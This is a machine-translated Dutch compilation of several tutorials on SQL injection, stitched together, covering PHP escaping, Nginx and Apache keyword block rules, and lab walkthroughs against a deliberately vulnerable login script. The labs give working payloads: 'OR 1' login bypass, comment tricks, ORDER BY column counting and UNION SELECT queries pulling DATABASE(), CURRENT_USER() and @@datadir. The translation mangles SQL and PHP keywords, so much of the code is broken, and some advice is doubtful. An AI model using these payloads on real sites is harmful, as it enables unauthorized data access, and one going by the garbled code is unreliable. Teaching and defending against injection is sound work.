Hoe hack je een formulier? SQL-injectie. Dynamisch werken met data. Queryanalyse vóór toepassing

Voordat we het hebben over hoe we een website kunnen beschermen tegen SQL-injecties, moeten we eerst begrijpen wat het is en waarom dit soort aanvallen zo gevaarlijk is. De meeste moderne sites doen er al alles aan om ervoor te zorgen dat er geen plaatsen op hun pagina's zijn waar een aanvaller deze aanval kan uitvoeren, maar soms doen dergelijke problemen zich zelfs voor op populaire bronnen of in veelgebruikte zoekmachines.

Vandaag zullen we kijken naar wat sql-injectie is, hoe het werkt en hoe we het kunnen bestrijden, zowel op het niveau van de programmeertaal als door verschillende obstakels te creëren voor de aanvaller die een webserver gebruikt. Dit is ook behoorlijk effectief.

Zoals u weet, gebruiken de meeste internetsites een database om informatie op te slaan. Het is niet verrassend dat databasequery's worden uitgevoerd terwijl de pagina wordt gebouwd. En zoiets lijkt niet te bestaan, behalve het feit dat bij het vormen van een verzoek de door de gebruiker ingevoerde gegevens kunnen worden gebruikt. Bijvoorbeeld bij het maken van een opmerking, het zoeken of zelfs navigeren naar een andere pagina.

En hier komt de mogelijkheid voor SQL-injectie. Als de gebruiker het veld invoert specifiek verzoek, dan kan hij zijn eigen query naar de database maken. Hierdoor kan hij bijna alles doen: uw gegevens stelen, uw database wissen, toegang krijgen tot gebruikerswachtwoorden, nieuwe gebruikers toevoegen en wat hij maar wil.

Dit is bijvoorbeeld hoe de SQL-query voor een artikel-ID eruit ziet tijdens het zoeken:

SELECTEER id, titel, inhoud UIT berichten WAAR titel ZOALS "%user_query%"

Stel je nu voor dat de gebruiker de volgende combinatie invoert in plaats van trefwoorden uit het artikel:

1%"; DROP TABLE berichten LIKE "%;

En het resultaat zal een volledig werkend verzoek zijn dat u helemaal niet had verwacht:

SELECT id,titel,inhoud VAN berichten WAAR titel LIKE "% 1%"; DROP TABLE plaatst LIKE "%%"

Dit werkt met elk verzoek dat gebruikersinvoer heeft, tenzij de programmeur voor de beveiliging heeft gezorgd. Om dit probleem op te lossen hoeft u daarom alleen maar alle aanhalingstekens in verzoeken van de gebruiker te escapen. Laten we nu verder gaan met de beschermingsmethoden.

Een website beschermen tegen SQL-injecties op PHP-niveau

Bescherming tegen SQL-aanvallen kan worden uitgevoerd op verschillende manieren. Het eerste waar u op moet letten, en wat heel belangrijk is, is dat de programmeur al aanhalingstekens moet vermijden tijdens het schrijven van code met behulp van functies zoals mysql_real_escape_string of mysqli_real_escape_string. Als elke variabele die wordt gebruikt in queries naar de database door hen, door de programmeur of op CMS-niveau wordt gefilterd, zullen er geen problemen ontstaan.

Maar waarom vinden SQL-aanvallen de afgelopen veertien jaar nog steeds plaats? Het is eenvoudig. Programmeurs zijn lui en het maken van onveilige databasequery's is zo eenvoudig, terwijl veilige query's complexer zijn. In ieder geval moeilijker dan onveilige.

Bescherming op webserverniveau

Het is niet altijd mogelijk om alle fouten in de code te corrigeren. De populaire Drupal-engine heeft bijvoorbeeld meer dan 20.000 regels code, WordPress heeft er 60.000 en Joomla heeft er 180.000. Maar je kunt het ook anders doen. Eerst filteren we alle waarden uit de REQUEST-variabele helemaal aan het begin van het script. Plak deze code nadat u de database hebt verbonden:

if (!function_exists("clean")) (
als (get_magic_quotes_gpc()) (
functie magicquotes_Stripslashes(&$value, $key) (
$value = stripslashes($value);
}
$gpc = array(&$_COOKIE, &$_REQUEST);
array_walk_recursive($gpc, "magicquotes_Stripslashes");
}
functie clean(&$value, $key) (
//deze functie verwijdert alle aanhalingstekens.
$waarde = mysql_real_escape_string($waarde);
}
}
$req = array(&$_REQUEST);
array_walk_recursive($req, "schoon");

Voor PHP 7 moet je de functie mysqli_real_escape_string gebruiken, omdat de mysql-extensie uit deze versie van de taal is verwijderd. Om aanhalingstekens te ontsnappen, worden alleen de opschoningsfunctie en alles daaronder gebruikt. Het bovenstaande geldt voor compatibiliteit met PHP-versies onder 5,4. Ze hadden een Magic Quotes-instelling die, indien ingeschakeld, aan alle aanhalingstekens zou ontsnappen. Om te voorkomen dat ons script alles bederft, verwijderen we eerst alle afscherming als deze is ingeschakeld.

Nu heb je dat gedaan extra bescherming op PHP-niveau. Het blijft zorgen voor de bescherming op webserverniveau. Als u Nginx gebruikt, kunt u de volgende regels toevoegen aan uw serversectie:

stel $block_sql_injections 0 in;
if ($query_string ~ "union.*select.*\()") (
stel $block_sql_injections 1 in;
}
if ($query_string ~ "union.*all.*select.*") (
stel $block_sql_injections 1 in;
}
if ($query_string ~ "concat.*\()") (
stel $block_sql_injections 1 in;
}
if ($block_sql_injections = 1) (
retour 403;
}

Hier filteren we alle zoekopdrachten uit die de woorden select, concat en aanhalingstekens bevatten. Dit is een duidelijk teken dat de gebruiker een SQL-injectie probeert uit te voeren, wat betekent dat zijn verzoek moet worden geblokkeerd.

U kunt ook verdachte adressen op niveau blokkeren Apache-webserver Selecteer bijvoorbeeld de meest gebruikte trefwoorden SQL-woorden. Toegegeven, dit is gevaarlijk, omdat verzoeken ook kunnen worden geblokkeerd gewone gebruikers. Voeg de volgende regels toe aan uw VitualHost-sectie:

RewriteCond %(QUERY_STRING) [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z]
Herschrijfregel (.*) - [F]

Maar dat is het nog niet volledige oplossing, hier kunnen we verder gaan. Deze blokkering biedt geen bescherming tegen SQL-injectie, uitgevoerd met met behulp van POST of RESTful-verzoeken. Je kunt ook de mod_security-module activeren:

sudo a2enmod mod_security

Ook hier zijn er verschillende regels die beschermen tegen injecties. Maar het is raadzaam om een ​​meer alomvattende aanpak te gebruiken.

Databasepartitionering

Om uw database veiliger te maken, kunt u deze in verschillende delen opsplitsen. In het gebied informatiebeveiliging Er bestaat zoiets als het principe van de minste privileges. De essentie van het principe is dat een programma of gebruiker alleen toegang mag hebben tot wat hij nodig heeft en niets meer. Het is bijvoorbeeld zinvol om de creditcardgegevens en forumgegevens van een gebruiker in afzonderlijke databases op te slaan. Vooral als de formulieren worden gebruikt verouderde versie phpBB. Dit is een soort extra bescherming voor SQL-injectie.

Queryanalyse vóór toepassing

Een andere optie is om meer te gebruiken complexe systemen bescherming. Het zou kunnen hardware-oplossing, dat draait bovenop iptables of ipfw, of een inbraakdetectiesysteem op een HIDS-server, zoals OSSEC. Maar zo’n oplossing is veel ingewikkelder dan nodig en is niet bedoeld om ons probleem op te lossen. U kunt gebruik maken van speciale webapplicatie-firewalls, die onder andere beschermen tegen SQL-injecties. Deze zijn zo vrije beslissingen, zoals ModSecurity of IronBee.

Conclusies

Nee perfecte oplossing of een toverstaf die 100% sitebescherming zou bieden tegen SQL-injecties, hoewel PHP ernaar streeft steeds veiliger te zijn. Vanaf versie 7.0 is de ondersteuning voor de MySQL-extensie verwijderd. Nu moet u overschakelen naar MySqli of PDO. En dat is maar goed ook, want deze uitbreidingen maken het gemakkelijker om gegevens met voorbereide verklaringen te gebruiken. Hoewel dit nog steeds een paar regels vereist.

Er zijn veel manieren SQL-uitvoering aanvallen, maar totdat ontwikkelaars de juiste code schrijven en webservers de beveiligingsfuncties maximaal benutten, zullen deze aanvallen niet uit de OSWAP TOP 10-lijst verdwijnen. Configureer uw systeem om uw gegevens en databases te beschermen.

Gerelateerde berichten:


SQL-injectie- dit is een van de meest beschikbare manieren het hacken van sites.
De essentie van dergelijke injecties is de injectie van gegevens (verzonden via GET, POST-verzoeken of Cookie-waarden) willekeurige SQL-code. Als de site kwetsbaar is en dergelijke injecties uitvoert, is het in wezen mogelijk om alles met de database te doen (meestal is dit MySQL).

Hoe kan ik kwetsbaarheden in SQL-injectie detecteren?

Vrij gemakkelijk. Er is bijvoorbeeld een testsite test.ru. De site toont een lijst met nieuws, met de mogelijkheid om gedetailleerd te bekijken. Het adres van de pagina met een gedetailleerde beschrijving van het nieuws ziet er als volgt uit: test.ru/?detail=1. Dat wil zeggen, door KRIJG verzoek de detailvariabele geeft de waarde 1 door (wat de ID is van het item in de nieuwstabel).

Wijzig het GET-verzoek in?detail=1" of?detail=1" . Vervolgens proberen we deze verzoeken naar de server over te brengen, d.w.z. ga naar test.ru/?detail=1 "of naar test.ru/?detail=1".

Als er een fout optreedt bij het openen van deze pagina's, is de site kwetsbaar voor SQL-injectie.

Een voorbeeld van een fout die optreedt bij het controleren van een kwetsbaarheid

Mogelijke SQL-injecties (SQL-injecties)
1) De eenvoudigste: vouwen WAAR voorwaarden naar een waar resultaat voor alle parameterwaarden.
2) Een zoekopdracht samenvoegen met de resultaten van een andere zoekopdracht. Dit gebeurt via de UNION-operator.
3) Commentaar geven op een deel van het verzoek.

Oefening. Opties voor het hacken van een site met een kwetsbaarheid voor SQL-injectie

We hebben dus de al genoemde site test.ru. In de database zijn 4 nieuwsberichten opgeslagen, waarvan er 3 worden weergegeven. Toestemming om nieuws te publiceren is afhankelijk van de publieke parameter (als de parameter de waarde 1 bevat, dan wordt het nieuws gepubliceerd).

Lijst met nieuws dat mag worden gepubliceerd

Bij het openen van de pagina test.ru/?detail=4, die het vierde nieuws zou moeten weergeven, verschijnt er een foutmelding: nieuws niet gevonden.
In ons geval bestaat het nieuws, maar mag het niet worden gepubliceerd.

Maar omdat we de site al op kwetsbaarheden hebben gecontroleerd en deze een databasefout gaf, proberen we dit op te lossen mogelijke opties verzoeken.
IN adresbalk plus (+) fungeert als spatie, dus wees niet ongerust

Ik test de volgende opties:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

Als gevolg hiervan glimlachte het geluk en werden twee verzoeken (de eerste en de derde) naar ons teruggestuurd gedetailleerde beschrijving vierde nieuws

Analyse van het voorbeeld van binnenuit

Het codeblok is verantwoordelijk voor het verkrijgen van een gedetailleerde beschrijving van het nieuws:
$detail_id=$_GET["detail"];
$zapros="SELECT * VAN `$table_news` WAAR `public`="1" EN `id`=$detail_id ORDER OP `position` DESC";

Niet alleen krijgt $detail_id een waarde zonder enige verwerking, maar ook de constructie `id`=$detail_id is scheef geschreven, het is beter om vast te houden aan `id`="$detail_id" (d.w.z. schrijf de vergeleken waarde tussen directe apostrofs) .

Kijkend naar het verzoek dat is ontvangen bij het openen van de pagina via test.ru/?detail=4+OR+1

SELECTEER * VAN `nieuws` WAAR `public`="1" EN `id`=4 OF 1 BESTEL OP `position` DESC

Het is niet helemaal duidelijk waarom het vierde nieuws werd vertoond. Feit is dat de zoekopdracht alle records uit de nieuwstabel retourneerde, gesorteerd in aflopende volgorde vanaf de bovenkant. En zo bleek ons ​​4e nieuws het allereerste te zijn, en werd het ook zo gedetailleerd weergegeven. Dat is gewoon toeval.

Laten we het verzoek analyseren dat wordt gegenereerd wanneer u contact opneemt via test.ru/?detail=4+UNION+SELECT++*+FROM+news+WHERE+id=4 .

Hier werd de naam van de tabel met nieuws (in ons geval nieuws) overgenomen door logisch zoeken.
Het is dus klaar SELECT-vraag* FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . Het nulresultaat van het eerste deel van de zoekopdracht (vóór UNION) werd vergezeld door het resultaat van het tweede deel (na UNION), dat een gedetailleerde beschrijving van het vierde nieuws opleverde.

Bescherming tegen SQL-injecties (SQL-injecties)

Beveiliging tegen hacken komt neer op basisregel"Vertrouw, maar verifieer." Je moet alles controleren: cijfers, tekenreeksen, datums, gegevens in speciale formaten.
Nummers
Om een ​​variabele te controleren numerieke waarde De functie is_numeric(n) wordt gebruikt, die true retourneert als de parameter n een getal is, en anders false.
Ook kunt u de waarde van een getal niet controleren, maar het type handmatig opnieuw definiëren. Hier is een voorbeeld dat de $id-waarde verkregen van $_GET["id_news"] overschrijft naar de waarde geheel getaltype(naar geheel getal):
$id=(int)$_GET["id_nieuws"];
Snaren
De meeste SQL-hacks vinden plaats vanwege de aanwezigheid van ‘niet-geneutraliseerde’ aanhalingstekens, apostrofs en andere speciale tekens in tekenreeksen. Om dit te doen, moet je de functie addlashes($str); gebruiken, die de string $str retourneert met een backslash (\) toegevoegd vóór elk speciaal teken. Dit proces filmadaptatie genoemd.

$a="voorbeeldtekst met apostrof " ";
echo voegtwimpers toe($a); //wordt weergegeven: voorbeeldtekst met een apostrof \"

Daarnaast zijn er twee functies die speciaal zijn gemaakt voor het ontsnappen van tekenreeksen die in SQL-expressies worden gebruikt.
Dit is mysql_escape_string($str); en mysql_real_escape_string($str);.

De eerste houdt geen rekening met de codering van de verbinding met de database en kan worden omzeild, maar de tweede houdt er rekening mee en is absoluut veilig. mysql_real_escape_string($str); retourneert de tekenreeks $str met een backslash toegevoegd aan de volgende tekens: \x00, \n, \r, \, ", " en \x1a .

Magische citaten

Magische citaten - effect automatische vervanging aanhalingstekens bij backslash (\) en aanhalingstekens bij I/O-bewerkingen. In sommige PHP-configuraties Deze optie is ingeschakeld, maar in sommige gevallen niet. Om dubbele escaping van karakters en het normaal ontsnappen van gegevens via mysql_real_escape_string($str); te voorkomen, is het noodzakelijk om automatisch toegevoegde backslashes te verwijderen (als magische aanhalingstekens zijn ingeschakeld).

Het controleren van de opname van magische aanhalingstekens voor gegevens ontvangen van GET, POST of Cookies wordt georganiseerd via de get_magic_quotes_gpc() functie; (retourneert 1 als magische aanhalingstekens zijn ingeschakeld, 0 als deze is uitgeschakeld).

Als er magische aanhalingstekens zijn opgenomen (d.w.z. er worden backslashes toegevoegd) en dit gebeurt vaker, dan moeten deze worden verwijderd. Dit wordt gedaan via de functie stripslashes($str); (retourneert de tekenreeks $str zonder backslashes tussen aanhalingstekens en apostrofs).

Tot slot voorzie ik de code van een volledige screenshot van de strings voor het schrijven naar de database

Als(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
anders
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Het artikel is opgesteld op basis van praktische vaardigheden in het beschermen van websystemen. Theorie is goed, maar de praktijk is belangrijker en het belangrijkste is dat het werkt.

Wij presenteren onder uw aandacht nieuwe cursus van het team De Codeby- "Penetratietesten van webapplicaties vanaf nul." Algemene theorie, voorbereiding van de werkomgeving, passieve fuzzing en vingerafdrukken, actieve fuzzing, kwetsbaarheden, post-uitbuiting, Hulpmiddelen, Sociale Techniek en nog veel meer.


De essentie van SQL-injecties

Je hebt de grap waarschijnlijk al van internet gehoord: “ Waarom is het in alle tekenlessen hetzelfde: Bijvoorbeeld een les over het tekenen van een uil. Eerst tekenen we een half uur lang het oog van de uil in detail. En dan tekenen we - een keer - in vijf minuten - de rest van de uil».

Er is zelfs een foto hierover:

Er is veel materiaal over SQL-injecties: artikelen, boeken, videocursussen (betaald en gratis). Niet veel van hen voegen echter begrip toe over deze kwestie. Vooral als je een beginner bent. Ik herinner me mijn gevoelens nog goed: hier is de cirkel, hier is de rest van de uil...

Het doel van dit briefje is om de aandacht op de uil te vestigen en een normale, eenvoudige uitleg te geven: wat zijn SQL-injecties, wat is de essentie ervan, hoe gevaarlijk zijn ze en waarom.

Voor experimenten hebben we een heel eenvoudig script dat kwetsbaar is voor SQL-injectie:

Om toegang te krijgen tot de regionale bibliotheek van Bobruisk, voert u uw inloggegevens in:

Voer uw naam in

Voer uw wachtwoord in


query("NAMEN UTF8 INSTELLEN"); $mysqli->query("SET CHARACTER SET UTF8");$mysqli->query("SET karakter_set_client = UTF8");

$mysqli->query("SET karakter_set_connection = UTF8");$mysqli->query("SET karakter_set_results = UTF8");

) $naam = filter_input(INPUT_GET, "naam");$wachtwoord = filter_input(INPUT_GET, "wachtwoord");

if ($result = $mysqli->query("SELECT * FROM `members` WHERE naam = "$name" EN wachtwoord


= $wachtwoord")) ( while ($obj = $result->fetch_object()) ( echo "

Jouw naam: $obj->naam Uw status: $obj->status Boeken die voor u beschikbaar zijn:

$obj->boeken

"; ) ) else ( printf("Fout: %sn", $mysqli->fout); ) $mysqli->close(); ?>

Je zult veel meer begrijpen als je alles met mij doet. Dus hier is het. Het bevat twee bestanden: index.php.

En

Onze inloggegevens zijn geaccepteerd en onze naam, status en voor ons beschikbare boeken worden op de schermen weergegeven. U kunt het proberen. Met andere gegevens (als u uw naam of wachtwoord wijzigt) kunnen we niet inloggen en de beschikbare boeken bekijken. We kunnen ook niet weten welke boeken beschikbaar zijn voor anderen, omdat we hun gebruikersnaam en wachtwoord niet kennen.

Laten we eens kijken broncode om te begrijpen hoe de databasequery plaatsvond:

SELECTEER * VAN `leden` ​​WAAR naam = "$name" EN wachtwoord = "$password"

Woord SELECTEER in een SQL-query wordt weergegeven welke gegevens moeten worden opgehaald. U kunt bijvoorbeeld SELECT-naam of SELECT-naam en wachtwoord opgeven. Dan zou in het eerste geval alleen de naam uit de tabel worden verkregen, en in het tweede geval alleen de naam en het wachtwoord. Het sterretje geeft aan dat u alle waarden moet ophalen. Die. SELECT * - dit betekent dat u alle waarden moet ophalen.

VAN vertelt waar je ze vandaan moet halen. De FROM wordt gevolgd door de tabelnaam, dat wil zeggen dat de FROM `members`-invoer zegt: get from the `members`-tabel.

Volgende WAAR Als je programmeertalen hebt bestudeerd, lijkt dit woord het meest op “If”. En dan zijn er voorwaarden, deze voorwaarden kunnen waar (1) of onwaar (0) zijn. In ons geval

(naam = ‘$naam’) EN (wachtwoord =’$wachtwoord’)

betekent dat de voorwaarde waar zal zijn als de doorgegeven variabele $name gelijk is aan de waarde van het naamveld in de tabel en de doorgegeven variabele '$password gelijk is aan de waarde van het wachtwoordveld in de tabel. Als aan ten minste één voorwaarde niet wordt voldaan ( verkeerde naam gebruiker of wachtwoord), dan wordt er niets uit de tabel gehaald, d.w.z. de uitdrukking SELECT * FROM `members` WHERE naam = '$name' AND wachtwoord ='$password' betekent: neem in de tabel `members` de waarden ​​van alle velden, als aan de voorwaarde is voldaan, komen de verzonden gebruikersnaam en het wachtwoord overeen met die in de tabel.

Dit is begrijpelijk. Laten we nu bijvoorbeeld een enkel aanhalingsteken met de gebruikersnaam invoegen:

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Er zijn geen gegevens ontvangen, maar in plaats daarvan zien we een fout:

Fout: er is een fout in uw SQL-syntaxis; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis die u moet gebruiken bij "111"" op regel 1

Toen we de juiste gegevens hadden ingevoerd, zag ons verzoek er als volgt uit:

SELECT * VAN `leden` ​​WAAR naam = "Demo" EN wachtwoord = "111"

Door een citaat toe te voegen, wordt onze vraag:

SELECT * VAN `leden` ​​WAAR naam = "Demo" " EN wachtwoord = "111"

Ik heb extra spaties geplaatst voor de duidelijkheid, d.w.z. we krijgen het verzoek

Overigens is het verzoek correct qua syntaxis. En onmiddellijk daarna, zonder enige scheidingstekens, gaat het verzoek verder:

"EN wachtwoord = "111"

Dit is wat alles kapot maakt, omdat het aantal openings- en slotcitaten niet gelijk is. U kunt bijvoorbeeld nog een citaat invoegen:

SELECTEER * VAN `leden` ​​WAAR naam = "Demo" " " EN wachtwoord = "111"

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

De fout verdween, maar dit voegde geen betekenis toe aan het verzoek. De zinloze staart van het verzoek zit ons dwars. Hoe kunnen we er vanaf komen?

Er is een antwoord - dit zijn opmerkingen.

Opmerkingen in MySQL kunnen op drie manieren worden opgegeven:

# (hash - werkt tot het einde van de regel)

(twee streepjes - werk tot het einde van de regel, na twee streepjes heb je een spatie nodig)

/* dit is een opmerking */ een groep van vier karakters - alles daarbinnen is commentaar, alles vóór of na deze groep karakters wordt niet als commentaar beschouwd.

Laten we een opmerking in onze zoekopdracht plaatsen met één citaat, na dit citaat plaatsen we een commentaarteken om de staart weg te gooien, en een + teken, dat een spatie aangeeft, zodat de zoekopdracht er als volgt uitziet:

SELECTEER * VAN `leden` ​​WAAR naam = "Demo" --+ " EN wachtwoord = "111"

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password=111

Niet alleen verdween de fout, maar de juiste gegevens werden weergegeven voor de demogebruiker. Sindsdien heeft ons verzoek de vorm aangenomen

SELECT * FROM `leden` ​​WHERE naam = "Demo"

tenslotte de paardenstaart —+ ‘ EN wachtwoord =’111’ omgezet in een opmerking en heeft geen invloed meer op het verzoek.

Kijk nog eens naar het nieuwe verzoek:

SELECT * FROM `leden` ​​WHERE naam = "Demo"

En het controleert niet langer het wachtwoord! Die. Omdat we de namen van legitieme gebruikers kennen, maar hun wachtwoorden niet kennen, kunnen we hun persoonlijke gegevens bekijken. Die. We zijn al begonnen met het exploiteren van SQL-injectie.

Helaas ken ik geen legitieme namen en moet ik iets anders verzinnen.

Laten we dit deel van het verzoek eens nader bekijken:

WHERE naam = "Demo"

Weet je nog de AND die in de eerste query wordt gebruikt? Het staat voor logische EN-bewerking. Laat me je eraan herinneren, logische bewerkingen"AND" resulteert alleen in "true" (1) als beide expressies waar zijn. Maar logische exploitant"OR" retourneert "true" (1), zelfs als ten minste één van de expressies waar is. Die. uitdrukking

WHERE naam = "Demo" OF 1

zal altijd waar zijn zal altijd 1 retourneren. Omdat een van de twee vergelijkingen die worden vergeleken altijd 1 retourneert.

Die. we moeten een expressie maken die er als volgt uitziet:

SELECT * FROM `leden` ​​WHERE naam = "Demo" OF 1

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OF 1 —+ &password=111

Resultaat:

Het resultaat is uitstekend! We hebben een lijst ontvangen met alle records in de tabel.

ORDER BY en UNION zijn de belangrijkste vrienden van SQL-injecties

We hebben al gegevens ontvangen die niet toegankelijk waren voor degenen die niet over een geldige gebruikersnaam en wachtwoord beschikten. Is er nog iets dat ik kan krijgen? Ja, je kunt het krijgen volledige puinhoop deze tabel (laat me je eraan herinneren dat we nog steeds geen wachtwoorden hebben. Bovendien kunnen we alle gegevens uit alle databases op deze server via één klein gaatje halen!

Met UNION kunt u SQL-query's combineren. In het echte leven zijn mijn taken eenvoudig, daarom eenvoudige vragen Ik gebruik geen UNION-databases of -mogelijkheden. Maar voor SQL-injecties is er geen waardevoller woord dan dit.

Met UNION kunt u heel flexibel SQL-query's combineren met SELECT, ook uit verschillende databases. Maar er is een belangrijke syntaxisvereiste: het aantal kolommen in de eerste SELECT moet gelijk zijn aan het aantal kolommen in de tweede SELECT.

ORDER BY specificeert de sortering van de gegevens die uit de tabel worden ontvangen. U kunt sorteren op kolomnaam of op het nummer ervan. Als er bovendien geen kolom met dit nummer is, wordt er een foutmelding weergegeven:

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BESTEL OP 1 —+ &password=111

Het verzoek ziet er als volgt uit:

SELECTEER * VAN `leden` ​​WAAR naam = "-1" BESTEL OP 1

We hebben de gebruikersnaam vervangen door -1 zodat er geen gegevens worden weergegeven.

Er is geen fout, er is ook geen fout met verzoeken

SELECTEER * VAN `leden` ​​WAAR naam = "-1" BESTEL MET 2 SELECTEER * VAN `leden` ​​WAAR naam = "-1" BESTEL MET 3 SELECTEER * VAN `leden` ​​WAAR naam = "-1" BESTEL MET 4 SELECTEER * FROM `leden` ​​WHERE naam = "-1" BESTEL OP 5

En hier is het verzoek

SELECTEER * VAN `leden` ​​WAAR naam = "-1" BESTEL OP 6

het komt overeen met de adresreeks

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BESTEL OP 6 —+ &password=111

Ik kreeg een foutmelding

Fout: onbekende kolom '6' in 'orderclausule'

Dit betekent dat gegevens in vijf kolommen uit de tabel worden geselecteerd.

We construeren onze query met UNION:

Zoals ik al zei, zou het aantal velden in beide SELECTs hetzelfde moeten zijn, maar wat er in deze velden staat is niet erg belangrijk. U kunt bijvoorbeeld eenvoudig cijfers invoeren - en dit zijn de cijfers die worden weergegeven. U kunt NULL invoeren - dan wordt er niets weergegeven in plaats van het veld.

SELECT * FROM `leden` ​​WHERE naam = "-1" UNION SELECT 1,2,3,4,5

Adresregel:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Een andere manier om het aantal kolommen te vinden is door dezelfde UNION te gebruiken. Met behulp van een ladder tellen we het aantal kolommen op:

SELECT * FROM `leden` ​​WHERE naam = "-1" UNION SELECT 1 SELECT * FROM `leden` ​​WHERE naam = "-1" UNION SELECT 1,2 SELECT * FROM `leden` ​​WHERE naam = "-1" UNION SELECT 1 ,2,3 SELECT * FROM `leden` ​​WHERE naam = "-1" UNION SELECT 1,2,3,4

Ze zullen allemaal dezelfde fout veroorzaken:

Fout: De gebruikte SELECT-instructies hebben een verschillend aantal kolommen

Doe dit totdat de foutmelding verdwijnt.

Houd er rekening mee dat de inhoud van sommige UNION SELECT 1,2,3,4,5-velden op het scherm wordt weergegeven. In plaats van cijfers kunt u functies opgeven.

Wat te schrijven in SELECT

Er zijn enkele functies die rechtstreeks in UNION kunnen worden geschreven:

  • DATABANK()— toon de naam van de huidige database
  • CURRENT_USER()- toont gebruikersnaam en hostnaam
  • @@datadir- displays absoluut pad naar de databank
  • GEBRUIKER()— gebruikersnaam
  • VERSIE()— databaseversie

In ons voorbeeld worden de velden 2, 4 en 5 weergegeven, d.w.z. we kunnen elk van deze velden gebruiken.

DATABASE() gebruiken in UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password=111

Resultaat:

CURRENT_USER() gebruiken in UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Resultaat:

@@datadir gebruiken in UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Resultaat:

Tabelnamen, velden en databasedump ophalen

In de databank informatie_schema er is een tabel genaamd tafels. Deze tabel bevat een lijst met alle tabellen die aanwezig zijn in alle databases op deze server. We kunnen onze tafels selecteren door in het veld te zoeken tabel_schema De naam van onze database is ‘db_library’ (we hebben de naam gevonden met behulp van DATABASE()).

Dit wordt de volledige UNION-techniek genoemd. Op internet is er genoeg materiaal over te vinden. Op de mijne MySQL-server de volledige UNION-techniek werkt niet. Ik krijg een foutmelding

Fout: illegale combinatie van sorteringen voor operatie "UNION"

Het werkt niet vanwege de kromming van de armen, omdat deze techniek ook geen resultaten oplevert voor sqlmap:

Er is iets misgegaan met de volledige UNION-techniek (kan te wijten zijn aan een beperking van het opgehaalde aantal vermeldingen). Terugvallend op de gedeeltelijke UNION-techniek

Misschien komt dit door MySQL-versie 5.6. Omdat brengen praktische voorbeelden Ik kan het niet, en ik ben niet geïnteresseerd in het herschrijven van de gebroken commando's van anderen - nu er, zelfs zonder mij, een aantal "grote theoretici" op internet zijn, besloot ik onmiddellijk verder te gaan met het overwegen van de gedeeltelijke UNION-techniek. Maar dit is niet het meest eenvoudige techniek, en het artikel is al behoorlijk lang geworden.

p.s. Oh ja, ik vergat LIMIT. De volgende keer zal ik het ook hebben over de rol van LIMIT bij SQL-injecties.

De Garant is een vertrouwde tussenpersoon tussen de Deelnemers tijdens de transactie.


SQL-injectie is een aanval die gebruik maakt van dynamic SQL-instructies, commentaar geven op bepaalde delen van de instructies of een voorwaarde toevoegen die altijd waar zal zijn. Het richt zich op gaten in de architectuur van webapplicaties en gebruikt SQL-instructies om kwaadaardige SQL-code uit te voeren:

In dit artikel zullen we kijken naar de technieken die worden gebruikt bij SQL-injecties en hoe we webapplicaties tegen dergelijke aanvallen kunnen beschermen.

Hoe SQL-injectie werkt

Soorten aanvallen waarmee kan worden uitgevoerd met behulp van SQL-injecties verschillen in het type databasemechanismen dat wordt beïnvloed. De aanval is gericht op dynamische SQL-instructies. Een dynamische instructie is een instructie die tijdens runtime wordt gemaakt op basis van parameters uit een webformulier of URI-queryreeks.

Denk aan een eenvoudige webapplicatie met een inlogformulier. De HTML-formuliercode vindt u hieronder:

  • Het formulier accepteert een e-mailadres en er wordt vervolgens een wachtwoord naar verzonden PHP-bestand genaamd index.php;
  • De sessie wordt opgeslagen in koekje. Deze functie wordt ingeschakeld door de vlag Remember_me aan te vinken. Wordt gebruikt om gegevens te verzenden post methode. Dit betekent dat de waarden niet in de URL worden weergegeven.

Laten we aannemen dat het verzoek om de gebruikers-ID aan de serverzijde te controleren er als volgt uitziet:

  • Het verzoek gebruikt de waarden van de $_POST-array rechtstreeks zonder deze op te schonen;
  • Het wachtwoord wordt gecodeerd met behulp van het MD5-algoritme.

We zullen kijken naar een aanval met behulp van SQL-injectie sqlfiddle. Open de URL http://sqlfiddle.com/ in uw browser. Het volgende venster verschijnt op het scherm.

Opmerking: u moet SQL-instructies schrijven:


Stap 1: Voer deze code in het linkerpaneel in:

MAAK TABEL `gebruikers` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `wachtwoord` VARCHAR(45) NULL, PRIMARY KEY (`id`)); invoegen in gebruikers (e-mail,wachtwoord) waarden (" [e-mailadres beveiligd]",md5("abc"));

Stap 2: Klik op de knop Bouw schema».
Stap 3: Voer de onderstaande code in het rechterdeelvenster in:

selecteer * uit gebruikers;

Stap 4: Klik op " Voer SQL uit" U ziet het volgende resultaat:

Laten we aannemen dat de gebruiker een e-mailadres opgeeft [e-mailadres beveiligd] en 1234 als wachtwoord. De query die op de database moet worden uitgevoerd, kan er als volgt uitzien:

De bovenstaande voorbeeld-SQL-injectiecode kan worden omzeild door een deel van het wachtwoord uit commentaar te geven en een voorwaarde toe te voegen die altijd waar zal zijn. Laten we aannemen dat een aanvaller de volgende gegevens in het e-mailadresveld invoegt:

